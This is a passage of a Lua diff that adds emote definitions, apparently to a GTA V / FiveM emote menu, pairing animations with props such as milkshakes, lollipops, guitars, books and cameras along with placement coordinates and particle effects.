+ EmoteLoop = true, + EmoteMoving = true + } + }, + ["sipshakeh"] = { + "smo@milkshake_idle", + "milkshake_idle_clip", + "Sip Milkshake - Mint", + AnimationOptions = { + Prop = 'brum_cherryshake_mint', + PropBone = 28422, + PropPlacement = { + 0.0850, + 0.0670, + -0.0350, + -115.0862, + -165.7841, + 24.1318 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sipshakei"] = { + "smo@milkshake_idle", + "milkshake_idle_clip", + "Sip Milkshake - Strawberry", + AnimationOptions = { + Prop = 'brum_cherryshake_strawberry', + PropBone = 28422, + PropPlacement = { + 0.0850, + 0.0670, + -0.0350, + -115.0862, + -165.7841, + 24.1318 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sipshakej"] = { + "smo@milkshake_idle", + "milkshake_idle_clip", + "Sip Milkshake - Raspberry", + AnimationOptions = { + Prop = 'brum_cherryshake_raspberry', + PropBone = 28422, + PropPlacement = { + 0.0850, + 0.0670, + -0.0350, + -115.0862, + -165.7841, + 24.1318 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sipshakek"] = { + "smo@milkshake_idle", + "milkshake_idle_clip", + "Sip Milkshake - Salted", + AnimationOptions = { + Prop = 'brum_cherryshake_salted', + PropBone = 28422, + PropPlacement = { + 0.0850, + 0.0670, + -0.0350, + -115.0862, + -165.7841, + 24.1318 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sipshakel"] = { + "smo@milkshake_idle", + "milkshake_idle_clip", + "Sip Milkshake - Vanilla", + AnimationOptions = { + Prop = 'brum_cherryshake_vanilla', + PropBone = 28422, + PropPlacement = { + 0.0850, + 0.0670, + -0.0350, + -115.0862, + -165.7841, + 24.1318 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sodafu"] = { + "anim@male_drinking_01", + "m_drinking_01_clip", + "Soda Middle Finger eCola", + AnimationOptions = { + Prop = 'prop_ecola_can', + PropBone = 26613, + PropPlacement = { + 0.0400, + -0.0500, + 0.0390, + 0.0000, + 0.000, + -69.9999 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sodafu2"] = { + "anim@male_drinking_01", + "m_drinking_01_clip", + "Soda Middle Finger Sprunk", + AnimationOptions = { + Prop = 'ng_proc_sodacan_01b', + PropBone = 26613, + PropPlacement = { + 0.0300, + -0.0600, + -0.0700, + 0.0000, + 0.000, + 0.000, + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["water"] = { + "mp_player_intdrink", + "loop_bottle", + "Water Bottle", + AnimationOptions = + { + Prop = "vw_prop_casino_water_bottle_01a", + PropBone = 60309, + PropPlacement = { + 0.0080, + 0.0, + -0.0500, + 0.0, + 0.0, + -40.0000 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["egobar"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Ego Bar", + AnimationOptions = { + Prop = 'prop_choc_ego', + PropBone = 60309, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteMoving = true + } + }, + ["candy"] = { + "mp_player_inteat@pnq", + "loop", + "Candy", + AnimationOptions = { + Prop = 'prop_candy_pqs', + PropBone = 60309, + PropPlacement = { + -0.0300, + 0.0180, + 0.0, + 180.0, + 180.0, + -88.099 + }, + EmoteMoving = true + } + }, + ["lollipop1"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Lollipop Spiral Red", + AnimationOptions = { + Prop = 'natty_lollipop_spiral01', + PropBone = 60309, + PropPlacement = { + -0.0100, + 0.0200, + -0.0100, + -175.1935, + 97.6975, + 20.9598 + }, + EmoteMoving = true + } + }, + ["lollipop1b"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Lollipop Spiral Pink", + AnimationOptions = { + Prop = 'natty_lollipop_spiral02', + PropBone = 60309, + PropPlacement = { + -0.0100, + 0.0200, + -0.0100, + -175.1935, + 97.6975, + 20.9598 + }, + EmoteMoving = true + } + }, + ["lollipop1c"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Lollipop Spiral Green", + AnimationOptions = { + Prop = 'natty_lollipop_spiral03', + PropBone = 60309, + PropPlacement = { + -0.0100, + 0.0200, + -0.0100, + -175.1935, + 97.6975, + 20.9598 + }, + EmoteMoving = true + } + }, + ["lollipop1d"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Lollipop Spiral Blue", + AnimationOptions = { + Prop = 'natty_lollipop_spiral04', + PropBone = 60309, + PropPlacement = { + -0.0100, + 0.0200, + -0.0100, + -175.1935, + 97.6975, + 20.9598 + }, + EmoteMoving = true + } + }, + ["lollipop1e"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Lollipop Spiral Yellow", + AnimationOptions = { + Prop = 'natty_lollipop_spiral05', + PropBone = 60309, + PropPlacement = { + -0.0100, + 0.0200, + -0.0100, + -175.1935, + 97.6975, + 20.9598 + }, + EmoteMoving = true + } + }, + ["lollipop1f"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Lollipop Spiral Purple", + AnimationOptions = { + Prop = 'natty_lollipop_spiral06', + PropBone = 60309, + PropPlacement = { + -0.0100, + 0.0200, + -0.0100, + -175.1935, + 97.6975, + 20.9598 + }, + EmoteMoving = true + } + }, + ["lollipop2a"] = { + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "Lollipop Spin Red", + AnimationOptions = { + Prop = "natty_lollipop_spin01", + PropBone = 60309, + PropPlacement = { + -0.0300, + -0.0500, + 0.0500, + 112.4227, + -128.8559, + 15.6107 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["lollipop2b"] = { + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "Lollipop Spin Yellow And Pink", + AnimationOptions = { + Prop = "natty_lollipop_spin02", + PropBone = 60309, + PropPlacement = { + -0.0300, + -0.0500, + 0.0500, + 112.4227, + -128.8559, + 15.6107 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["lollipop2c"] = { + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "Lollipop Spin Yellow And Green", + AnimationOptions = { + Prop = "natty_lollipop_spin03", + PropBone = 60309, + PropPlacement = { + -0.0300, + -0.0500, + 0.0500, + 112.4227, + -128.8559, + 15.6107 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["lollipop2d"] = { + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "Lollipop Spin Yellow And White", + AnimationOptions = { + Prop = "natty_lollipop_spin04", + PropBone = 60309, + PropPlacement = { + -0.0300, + -0.0500, + 0.0500, + 112.4227, + -128.8559, + 15.6107 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["lollipop2e"] = { + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "Lollipop Spin Pink And White", + AnimationOptions = { + Prop = "natty_lollipop_spin05", + PropBone = 60309, + PropPlacement = { + -0.0300, + -0.0500, + 0.0500, + 112.4227, + -128.8559, + 15.6107 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["lollipop3a"] = { + "amb@world_human_smoking@male@male_a@enter", + "enter", + "Lollipop Suck", + AnimationOptions = { + Prop = 'natty_lollipop01', + PropBone = 47419, + PropPlacement = { + 0.0100, + 0.0300, + 0.0100, + -90.0000, + 10.0000, + -10.0000 + }, + EmoteMoving = true, + EmoteDuration = 2600 + } + }, + ["icecreama"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Ice cream Cherry", + AnimationOptions = { + Prop = 'bzzz_icecream_cherry', + PropBone = 18905, + PropPlacement = { + 0.14, + 0.03, + 0.01, + 85.0, + 70.0, + -203.0 + }, + EmoteMoving = true + } + }, + ["icecreamb"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Ice cream Chocolate", + AnimationOptions = { + Prop = 'bzzz_icecream_chocolate', + PropBone = 18905, + PropPlacement = { + 0.14, + 0.03, + 0.01, + 85.0, + 70.0, + -203.0 + }, + EmoteMoving = true + } + }, + ["icecreamc"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Ice cream Lemon", + AnimationOptions = { + Prop = 'bzzz_icecream_lemon', + PropBone = 18905, + PropPlacement = { + 0.14, + 0.03, + 0.01, + 85.0, + 70.0, + -203.0 + }, + EmoteMoving = true + } + }, + ["icecreamd"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Ice cream Pistachio", + AnimationOptions = { + Prop = 'bzzz_icecream_pistachio', + PropBone = 18905, + PropPlacement = { + 0.14, + 0.03, + 0.01, + 85.0, + 70.0, + -203.0 + }, + EmoteMoving = true + } + }, + ["icecreame"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Ice cream Raspberry", + AnimationOptions = { + Prop = 'bzzz_icecream_raspberry', + PropBone = 18905, + PropPlacement = { + 0.14, + 0.03, + 0.01, + 85.0, + 70.0, + -203.0 + }, + EmoteMoving = true + } + }, + ["icecreamf"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Ice cream Stracciatella", + AnimationOptions = { + Prop = 'bzzz_icecream_stracciatella', + PropBone = 18905, + PropPlacement = { + 0.14, + 0.03, + 0.01, + 85.0, + 70.0, + -203.0 + }, + EmoteMoving = true + } + }, + ["icecreamg"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Ice cream Strawberry", + AnimationOptions = { + Prop = 'bzzz_icecream_strawberry', + PropBone = 18905, + PropPlacement = { + 0.14, + 0.03, + 0.01, + 85.0, + 70.0, + -203.0 + }, + EmoteMoving = true + } + }, + ["icecreamh"] = { + "mp_player_inteat@burger", + "mp_player_int_eat_burger", + "Ice cream Walnut", + AnimationOptions = { + Prop = 'bzzz_icecream_walnut', + PropBone = 18905, + PropPlacement = { + 0.14, + 0.03, + 0.01, + 85.0, + 70.0, + -203.0 + }, + EmoteMoving = true + } + }, + ["wine"] = { + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "Wine", + AnimationOptions = { + Prop = 'prop_drink_redwine', + PropBone = 18905, + PropPlacement = { + 0.10, + -0.03, + 0.03, + -100.0, + 0.0, + -10.0 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["flute"] = { + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "Flute", + AnimationOptions = { + Prop = 'prop_champ_flute', + PropBone = 18905, + PropPlacement = { + 0.10, + -0.03, + 0.03, + -100.0, + 0.0, + -10.0 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["champagne"] = { + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "Champagne", + AnimationOptions = { + Prop = 'prop_drink_champ', + PropBone = 18905, + PropPlacement = { + 0.10, + -0.03, + 0.03, + -100.0, + 0.0, + -10.0 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["cigar"] = { + "amb@world_human_smoking@male@male_a@enter", + "enter", + "Cigar", + AnimationOptions = { + Prop = 'prop_cigar_02', + PropBone = 47419, + PropPlacement = { + 0.010, + 0.0, + 0.0, + 50.0, + 0.0, + -80.0 + }, + EmoteDuration = 2600, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_mp_cig", + PtfxName = "ent_anim_cig_smoke", + PtfxNoProp = false, + PtfxPlacement = { + 0.0750, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.3 + }, + PtfxInfo = Translate('smoke'), + PtfxWait = 0.8, + PtfxCanHold = true + } + }, + ["cigar2"] = { + "amb@world_human_smoking@male@male_a@enter", + "enter", + "Cigar 2", + AnimationOptions = { + Prop = 'prop_cigar_01', + PropBone = 47419, + PropPlacement = { + 0.010, + 0.0, + 0.0, + 50.0, + 0.0, + -80.0 + }, + EmoteDuration = 2600, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_mp_cig", + PtfxName = "ent_anim_cig_smoke", + PtfxNoProp = false, + PtfxPlacement = { + 0.06, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.5 + }, + PtfxInfo = Translate('smoke'), + PtfxWait = 0.8, + PtfxCanHold = true + } + }, + ["guitar"] = { + "amb@world_human_musician@guitar@male@idle_a", + "idle_b", + "Guitar", + AnimationOptions = { + Prop = 'prop_acc_guitar_01', + PropBone = 24818, + PropPlacement = { + -0.1, + 0.31, + 0.1, + 0.0, + 20.0, + 150.0 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["guitar2"] = { + "switch@trevor@guitar_beatdown", + "001370_02_trvs_8_guitar_beatdown_idle_busker", + "Guitar 2", + AnimationOptions = { + Prop = 'prop_acc_guitar_01', + PropBone = 24818, + PropPlacement = { + -0.05, + 0.31, + 0.1, + 0.0, + 20.0, + 150.0 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["guitar3"] = { + "amb@world_human_musician@guitar@male@idle_a", + "idle_b", + "Guitar 3 - Pink", + AnimationOptions = { + Prop = 'prop_tay_guitar_001', + PropBone = 24818, + PropPlacement = { + -0.1, + 0.31, + 0.1, + 0.0, + 20.0, + 150.0 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["guitar4"] = { + "switch@trevor@guitar_beatdown", + "001370_02_trvs_8_guitar_beatdown_idle_busker", + "Guitar 4 - Pink", + AnimationOptions = { + Prop = 'prop_tay_guitar_001', + PropBone = 24818, + PropPlacement = { + -0.05, + 0.31, + 0.1, + 0.0, + 20.0, + 150.0 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["guitar5"] = { + "amb@world_human_musician@guitar@male@idle_a", + "idle_b", + "Guitar - Pride", + AnimationOptions = { + Prop = 'prop_tay_guitar_002', + PropBone = 24818, + PropPlacement = { + -0.1, + 0.31, + 0.1, + 0.0, + 20.0, + 150.0 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["guitar6"] = { + "switch@trevor@guitar_beatdown", + "001370_02_trvs_8_guitar_beatdown_idle_busker", + "Guitar - Pride 2", + AnimationOptions = { + Prop = 'prop_tay_guitar_002', + PropBone = 24818, + PropPlacement = { + -0.05, + 0.31, + 0.1, + 0.0, + 20.0, + 150.0 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["guitarelectric"] = { + "amb@world_human_musician@guitar@male@idle_a", + "idle_b", + "Guitar Electric", + AnimationOptions = { + Prop = 'prop_el_guitar_01', + PropBone = 24818, + PropPlacement = { + -0.1, + 0.31, + 0.1, + 0.0, + 20.0, + 150.0 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["guitarelectric2"] = { + "amb@world_human_musician@guitar@male@idle_a", + "idle_b", + "Guitar Electric 2", + AnimationOptions = { + Prop = 'prop_el_guitar_03', + PropBone = 24818, + PropPlacement = { + -0.1, + 0.31, + 0.1, + 0.0, + 20.0, + 150.0 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["guitarcarry"] = { + "move_weapon@jerrycan@generic", + "idle", + "Guitar Case Carry", + AnimationOptions = { + Prop = "sf_prop_sf_guitar_case_01a", + PropBone = 28422, + PropPlacement = { + 0.2800, + -0.2000, + -0.0600, + 0.0, + 0.0, + 15.0000 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["guitarcarry2"] = { + "move_weapon@jerrycan@generic", + "idle", + "Guitar Carry Accoustic", + AnimationOptions = { + Prop = "prop_acc_guitar_01", + PropBone = 28422, + PropPlacement = { + 0.1500, + -0.1400, + -0.0200, + -101.5083, + 5.7251, + 29.4987 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["guitarcarry3"] = { + "move_weapon@jerrycan@generic", + "idle", + "Guitar Carry Accoustic - Pink", + AnimationOptions = { + Prop = "prop_tay_guitar_001", + PropBone = 28422, + PropPlacement = { + 0.1500, + -0.1400, + -0.0200, + -101.5083, + 5.7251, + 29.4987 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["guitarcarry4"] = { + "move_weapon@jerrycan@generic", + "idle", + "Guitar Carry Accoustic - Pride", + AnimationOptions = { + Prop = "prop_tay_guitar_002", + PropBone = 28422, + PropPlacement = { + 0.1100, + -0.1200, + -0.0500, + -80.0000, + 0.0, + 21.9999 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["guitarcarry5"] = { + "move_weapon@jerrycan@generic", + "idle", + "Guitar Carry Electric", + AnimationOptions = { + Prop = "prop_el_guitar_01", + PropBone = 28422, + PropPlacement = { + 0.1100, + -0.1200, + -0.0500, + -80.0000, + 0.0, + 21.9999 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["guitarcarry6"] = { + "move_weapon@jerrycan@generic", + "idle", + "Guitar Carry Electric 2", + AnimationOptions = { + Prop = "prop_el_guitar_02", + PropBone = 28422, + PropPlacement = { + 0.1100, + -0.1200, + -0.0500, + -80.0000, + 0.0, + 21.9999 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["guitarcarry7"] = { + "move_weapon@jerrycan@generic", + "idle", + "Guitar Carry Electric 3", + AnimationOptions = { + Prop = "prop_el_guitar_03", + PropBone = 28422, + PropPlacement = { + 0.1100, + -0.1200, + -0.0500, + -80.0000, + 0.0, + 21.9999 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["guitarcarry8"] = { + "move_weapon@jerrycan@generic", + "idle", + "Guitar Carry Electric 4", + AnimationOptions = { + Prop = "vw_prop_casino_art_guitar_01a", + PropBone = 28422, + PropPlacement = { + 0.1100, + -0.1200, + -0.0500, + -80.0000, + 0.0, + 21.9999 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["guitarcarry9"] = { + "move_weapon@jerrycan@generic", + "idle", + "Guitar Carry Electric 5", + AnimationOptions = { + Prop = "sf_prop_sf_el_guitar_02a", + PropBone = 28422, + PropPlacement = { + 0.1100, + -0.1200, + -0.0500, + -80.0000, + 0.0, + 21.9999 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["guitarsit"] = { + "misssnowie@gatlax", + "base", + "Guitar Sit And Play", + AnimationOptions = { + Prop = "prop_acc_guitar_01", + PropBone = 24818, + PropPlacement = { + -0.0510, + 0.2770, + -0.0299, + -140.3349, + 166.3300, + 29.7590 + }, + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["guitarsit2"] = { + "misssnowie@gatlax", + "base", + "Guitar Sit And Play 2 - Pink", + AnimationOptions = { + Prop = "prop_tay_guitar_001", + PropBone = 24818, + PropPlacement = { + -0.0510, + 0.2770, + -0.0299, + -140.3349, + 166.3300, + 29.7590 + }, + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["guitarsit3"] = { + "misssnowie@gatlax", + "base", + "Guitar Sit And Play 2 - Pride", + AnimationOptions = { + Prop = "prop_tay_guitar_002", + PropBone = 24818, + PropPlacement = { + -0.0510, + 0.2770, + -0.0299, + -140.3349, + 166.3300, + 29.7590 + }, + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["book"] = { + "cellphone@", + "cellphone_text_read_base", + "Book", + AnimationOptions = { + Prop = 'prop_novel_01', + PropBone = 6286, + PropPlacement = { + 0.15, + 0.03, + -0.065, + 0.0, + 180.0, + 90.0 + }, + -- This positioning isnt too great, was to much of a hassle + EmoteMoving = true, + EmoteLoop = true + } + }, + ["bookb"] = { + "holding_book_1@dark", + "holding_book_1_clip", + "Book 2", + AnimationOptions = { + Prop = 'prop_cs_book_01', + PropBone = 57005, + PropPlacement = { + 0.0900, + 0.0900, + -0.0400, + 80.1585, + 158.5623, + 24.7080, + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["bookc"] = { + "holding_book_2@dark", + "holding_book_2_clip", + "Book 3", + AnimationOptions = { + Prop = "prop_michael_backpack", + PropBone = 40269, + PropPlacement = { + 0.0300, + -0.1600, + -0.0900, + -170.7740, + 112.8415, + -20.0836 + }, + SecondProp = 'prop_cs_book_01', + SecondPropBone = 18905, + SecondPropPlacement = { + 0.0400, + 0.0400, + 0.0300, + -69.0815, + 176.3905, + 19.3724 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["bookd"] = { + "holding_book_3@dark", + "holding_book_3_clip", + "Book 4", + AnimationOptions = { + Prop = 'prop_cs_stock_book', + PropBone = 18905, + PropPlacement = { + 0.0700, + 0.0400, + 0.0700, + 0.0000, + 0.0000, + -15.0000 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["booke"] = { + "holding_book_4@dark", + "holding_book_4_clip", + "Book 5", + AnimationOptions = { + Prop = 'prop_cs_stock_book', + PropBone = 57005, + PropPlacement = { + 0.0100, + 0.0100, + -0.0600, + 15.1511, + 3.1232, + -21.2448 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["bookf"] = { + "holding_book_5@dark", + "holding_book_5_clip", + "Book 6", + AnimationOptions = { + Prop = 'v_ilev_mp_bedsidebook', + PropBone = 18905, + PropPlacement = { + 0.2100, + 0.0600, + 0.0400, + 170.6161, + -14.2960, + 28.8727 + }, + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["bouquet"] = { + "hold_flowers@dad", --- Custom Animation By Darks Animations + "hold_flowers_clip", + "Bouquet", + AnimationOptions = { + Prop = 'prop_snow_flower_02', + PropBone = 60309, + PropPlacement = { + 0.1100, + -0.1300, + 0.1200, + -18.7186, + 121.0529, + -11.7724 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["bouquet2"] = { + "hold_flowers@dad", --- Custom Animation By Darks Animations + "hold_flowers_clip", + "Bouquet 2", + AnimationOptions = { + Prop = 'pata_freevalentinesday3', + PropBone = 28422, + PropPlacement = { + -0.0100, + 0.0300, + -0.1700, + -6.0697, + 60.1852, + 3.4934 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["teddy"] = { + "impexp_int-0", + "mp_m_waremech_01_dual-0", + "Teddy", + AnimationOptions = { + Prop = 'v_ilev_mr_rasberryclean', + PropBone = 24817, + PropPlacement = { + -0.20, + 0.46, + -0.016, + -180.0, + -90.0, + 0.0 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["backpack"] = { + "move_p_m_zero_rucksack", + "nill", + "Backpack", + AnimationOptions = { + Prop = 'p_michael_backpack_s', + PropBone = 24818, + PropPlacement = { + 0.07, + -0.11, + -0.05, + 0.0, + 90.0, + 175.0 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["clipboard"] = { + "missfam4", + "base", + "Clipboard", + AnimationOptions = { + Prop = 'p_amb_clipboard_01', + PropBone = 36029, + PropPlacement = { + 0.16, + 0.08, + 0.1, + -130.0, + -50.0, + 0.0 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["map"] = { + "amb@world_human_tourist_map@male@base", + "base", + "Map", + AnimationOptions = { + Prop = 'prop_tourist_map_01', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["map2"] = { + "amb@code_human_in_bus_passenger_idles@female@tablet@idle_a", + "idle_a", + "Map 2", + AnimationOptions = { + Prop = "prop_tourist_map_01", + PropBone = 28422, + PropPlacement = { + -0.05, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["beg"] = { + "amb@world_human_bum_freeway@male@base", + "base", + "Beg", + AnimationOptions = { + Prop = 'prop_beggers_sign_03', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["beg2"] = { + "amb@world_human_bum_freeway@male@base", + "base", + "Beg 2", + AnimationOptions = { + Prop = 'prop_beggers_sign_01', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["beg3"] = { + "amb@world_human_bum_freeway@male@base", + "base", + "Beg 3", + AnimationOptions = { + Prop = 'prop_beggers_sign_02', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0800, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["beg4"] = { + "amb@world_human_bum_freeway@male@base", + "base", + "Beg 4", + AnimationOptions = { + Prop = 'prop_beggers_sign_04', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0800, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["newspaper"] = { + "amb@world_human_clipboard@male@idle_a", + "idle_a", + "Newspaper", + AnimationOptions = { + Prop = 'prop_cliff_paper', + PropBone = 60309, + PropPlacement = { + 0.0970, + -0.0280, + -0.0170, + 107.4008, + 3.2712, + -10.5080 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["newspaper2"] = { + "amb@world_human_clipboard@male@idle_a", + "idle_a", + "Newspaper 2", + AnimationOptions = { + Prop = 'ng_proc_paper_news_quik', + PropBone = 60309, + PropPlacement = { + 0.1590, + 0.0290, + -0.0100, + 90.9998, + 0.0087, + 0.5000 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["newspaper3"] = { + "amb@world_human_clipboard@male@idle_a", + "idle_a", + "Newspaper 3", + AnimationOptions = { + Prop = 'ng_proc_paper_news_rag', + PropBone = 60309, + PropPlacement = { + 0.1760, + -0.00070, + 0.0200, + 99.8306, + 3.2841, + -4.7185 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["pornmag"] = { + "amb@world_human_clipboard@male@base", + "base", + "Porn Magazine", + AnimationOptions = { + Prop = 'prop_porn_mag_02', + PropBone = 60309, + PropPlacement = { + 0.1000, + -0.0360, + -0.0300, + -86.9096, + 179.2527, + 13.8804 + }, + EmoteMoving = true, + EmoteLoop = true + }, + AdultAnimation = true + }, + ["pornmag2"] = { + "amb@world_human_clipboard@male@base", + "base", + "Porn Magazine 2", + AnimationOptions = { + Prop = 'prop_cs_magazine', + PropBone = 60309, + PropPlacement = { + 0.0800, + -0.0490, + -0.0500, + 87.9369, + -0.4292, + -14.3925 + }, + EmoteMoving = true, + EmoteLoop = true + }, + AdultAnimation = true + }, + ["pornmag3"] = { + "amb@world_human_clipboard@male@base", + "base", + "Porn Magazine 3", + AnimationOptions = { + Prop = 'prop_porn_mag_03', + PropBone = 60309, + PropPlacement = { + 0.1000, + -0.0700, + -0.0200, + -90.0000, + -180.0000, + 22.7007 + }, + EmoteMoving = true, + EmoteLoop = true + }, + AdultAnimation = true + }, + ["pornmag4"] = { + "amb@world_human_clipboard@male@base", + "base", + "Porn Magazine 4", + AnimationOptions = { + Prop = 'v_res_tt_pornmag01', + PropBone = 60309, + PropPlacement = { + -0.0200, + -0.0300, + 0.0000, + 88.9862, + 0.2032, + -20.0016 + }, + EmoteMoving = true, + EmoteLoop = true + }, + AdultAnimation = true + }, + ["pornmag5"] = { + "amb@world_human_clipboard@male@base", + "base", + "Porn Magazine 5", + AnimationOptions = { + Prop = 'v_res_tt_pornmag02', + PropBone = 60309, + PropPlacement = { + -0.0200, + -0.0300, + 0.0000, + 88.9862, + 0.2032, + -20.0016 + }, + EmoteMoving = true, + EmoteLoop = true + }, + AdultAnimation = true + }, + ["pornmag6"] = { + "amb@world_human_clipboard@male@base", + "base", + "Porn Magazine 6", + AnimationOptions = { + Prop = 'v_res_tt_pornmag03', + PropBone = 60309, + PropPlacement = { + -0.0200, + -0.0300, + 0.0000, + 88.9862, + 0.2032, + -20.0016 + }, + EmoteMoving = true, + EmoteLoop = true + }, + AdultAnimation = true + }, + ["pornmag7"] = { + "amb@world_human_clipboard@male@base", + "base", + "Porn Magazine 7", + AnimationOptions = { + Prop = 'v_res_tt_pornmag04', + PropBone = 60309, + PropPlacement = { + -0.0200, + -0.0300, + 0.0000, + 88.9862, + 0.2032, + -20.0016 + }, + EmoteMoving = true, + EmoteLoop = true + }, + AdultAnimation = true + }, + ["makeitrain"] = { + "anim@mp_player_intupperraining_cash", + "idle_a", + "Make It Rain", + AnimationOptions = { + Prop = 'prop_anim_cash_pile_01', + PropBone = 60309, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 180.0, + 0.0, + 70.0 + }, + EmoteMoving = true, + EmoteLoop = true, + PtfxAsset = "scr_xs_celebration", + PtfxName = "scr_xs_money_rain", + PtfxPlacement = { + 0.0, + 0.0, + -0.09, + -80.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('makeitrain'), + PtfxWait = 500, + PtfxCanHold = true + } + }, + ["camera"] = { + "stand_camera_1@dad", + "stand_camera_1_clip", + "Camera", + AnimationOptions = { + Prop = 'prop_pap_camera_01', + PropBone = 57005, + PropPlacement = { + 0.1040, + -0.0060, + -0.0600, + -2.7280, + 33.0998, + 4.1917 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_bike_business", + PtfxName = "scr_bike_cfid_camera_flash", + PtfxPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["camera2"] = { + "amb@world_human_paparazzi@male@base", + "base", + "Camera 2", + AnimationOptions = { + Prop = 'prop_pap_camera_01', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_bike_business", + PtfxName = "scr_bike_cfid_camera_flash", + PtfxPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + 